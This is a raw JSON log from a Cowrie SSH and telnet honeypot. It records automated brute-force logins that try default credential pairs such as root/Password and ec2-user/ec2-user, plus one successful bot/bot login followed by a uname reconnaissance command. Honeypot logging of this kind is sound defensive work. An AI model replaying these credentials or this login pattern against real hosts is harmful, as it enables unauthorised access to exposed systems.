{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:16.269425Z","src_ip":"165.154.137.186","session":"c40006e1f9cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:17.057217Z","src_ip":"165.154.137.186","session":"c40006e1f9cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.84606146812439,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:17.605574Z","src_ip":"172.81.62.90","session":"43a0c8ca88d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:18.320102Z","src_ip":"165.154.137.186","session":"c40006e1f9cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37846,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6dd4c7259e","protocol":"telnet","message":"New connection: 172.81.62.90:37846 (159.203.135.109:23) [session: ff6dd4c7259e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:25.623934Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38974,"dst_ip":"10.17.0.5","dst_port":22,"session":"f98c0122de33","protocol":"ssh","message":"New connection: 165.154.137.186:38974 (10.17.0.5:22) [session: f98c0122de33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:27.047290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:27.053741Z","src_ip":"165.154.137.186","session":"f98c0122de33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:27.310906Z","src_ip":"165.154.137.186","session":"f98c0122de33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:28.086204Z","src_ip":"165.154.137.186","session":"f98c0122de33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:29.356480Z","src_ip":"165.154.137.186","session":"f98c0122de33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.97569274902344,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:30.728553Z","src_ip":"172.81.62.90","session":"e1cbafde0cb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":32942,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9600551a843","protocol":"ssh","message":"New connection: 165.154.137.186:32942 (10.17.0.5:22) [session: a9600551a843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:34.429153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:34.436671Z","src_ip":"165.154.137.186","session":"a9600551a843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:34.686093Z","src_ip":"165.154.137.186","session":"a9600551a843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:35.433381Z","src_ip":"165.154.137.186","session":"a9600551a843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:36.684809Z","src_ip":"165.154.137.186","session":"a9600551a843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56840,"dst_ip":"10.17.0.5","dst_port":22,"session":"134b127211ff","protocol":"ssh","message":"New connection: 103.172.78.219:56840 (10.17.0.5:22) [session: 134b127211ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:36.692682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:36.697249Z","src_ip":"103.172.78.219","session":"134b127211ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:36.946533Z","src_ip":"103.172.78.219","session":"134b127211ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.001877784729,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:37.523121Z","src_ip":"128.199.8.54","session":"8ea955eb3ed9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:37.699240Z","src_ip":"103.172.78.219","session":"134b127211ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:38.952329Z","src_ip":"103.172.78.219","session":"134b127211ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42454,"dst_ip":"10.17.0.5","dst_port":22,"session":"497062541374","protocol":"ssh","message":"New connection: 165.154.137.186:42454 (10.17.0.5:22) [session: 497062541374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:46.129732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:46.133646Z","src_ip":"165.154.137.186","session":"497062541374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:46.426454Z","src_ip":"165.154.137.186","session":"497062541374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:47.211500Z","src_ip":"165.154.137.186","session":"497062541374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43640,"dst_ip":"159.203.135.109","dst_port":23,"session":"f76cfdb127ea","protocol":"telnet","message":"New connection: 107.6.151.170:43640 (159.203.135.109:23) [session: f76cfdb127ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:47.365297Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:48.475072Z","src_ip":"165.154.137.186","session":"497062541374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55894,"dst_ip":"10.17.0.5","dst_port":22,"session":"c179917a33ba","protocol":"ssh","message":"New connection: 165.154.137.186:55894 (10.17.0.5:22) [session: c179917a33ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:50.306696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:50.310695Z","src_ip":"165.154.137.186","session":"c179917a33ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.79319262504578,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:50.331334Z","src_ip":"94.23.66.112","session":"4583a5bcd54b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:50.563426Z","src_ip":"165.154.137.186","session":"c179917a33ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:51.328947Z","src_ip":"165.154.137.186","session":"c179917a33ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:51.876957Z","src_ip":"165.154.137.186","session":"c179917a33ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:51.880340Z","src_ip":"165.154.137.186","session":"c179917a33ba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:52.136177Z","src_ip":"165.154.137.186","session":"c179917a33ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:52.140034Z","src_ip":"165.154.137.186","session":"c179917a33ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58558,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd93cbfcda6","protocol":"ssh","message":"New connection: 165.154.137.186:58558 (10.17.0.5:22) [session: ebd93cbfcda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:54.090419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:54.096395Z","src_ip":"165.154.137.186","session":"ebd93cbfcda6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:54.361015Z","src_ip":"165.154.137.186","session":"ebd93cbfcda6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:55.144805Z","src_ip":"165.154.137.186","session":"ebd93cbfcda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:56.406030Z","src_ip":"165.154.137.186","session":"ebd93cbfcda6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57478,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fcaba7f6c9c","protocol":"telnet","message":"New connection: 107.6.151.170:57478 (159.203.135.109:23) [session: 2fcaba7f6c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:05:59.661494Z"}
{"eventid":"cowrie.session.closed","duration":35.94130063056946,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:01.565085Z","src_ip":"172.81.62.90","session":"ff6dd4c7259e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58408,"dst_ip":"159.203.135.109","dst_port":23,"session":"387f0f540241","protocol":"telnet","message":"New connection: 172.81.62.90:58408 (159.203.135.109:23) [session: 387f0f540241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:02.892053Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":34472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca07f0a9d6b5","protocol":"ssh","message":"New connection: 43.153.12.68:34472 (10.17.0.5:22) [session: ca07f0a9d6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:03.861584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:03.867219Z","src_ip":"43.153.12.68","session":"ca07f0a9d6b5","protocol":"ssh"}
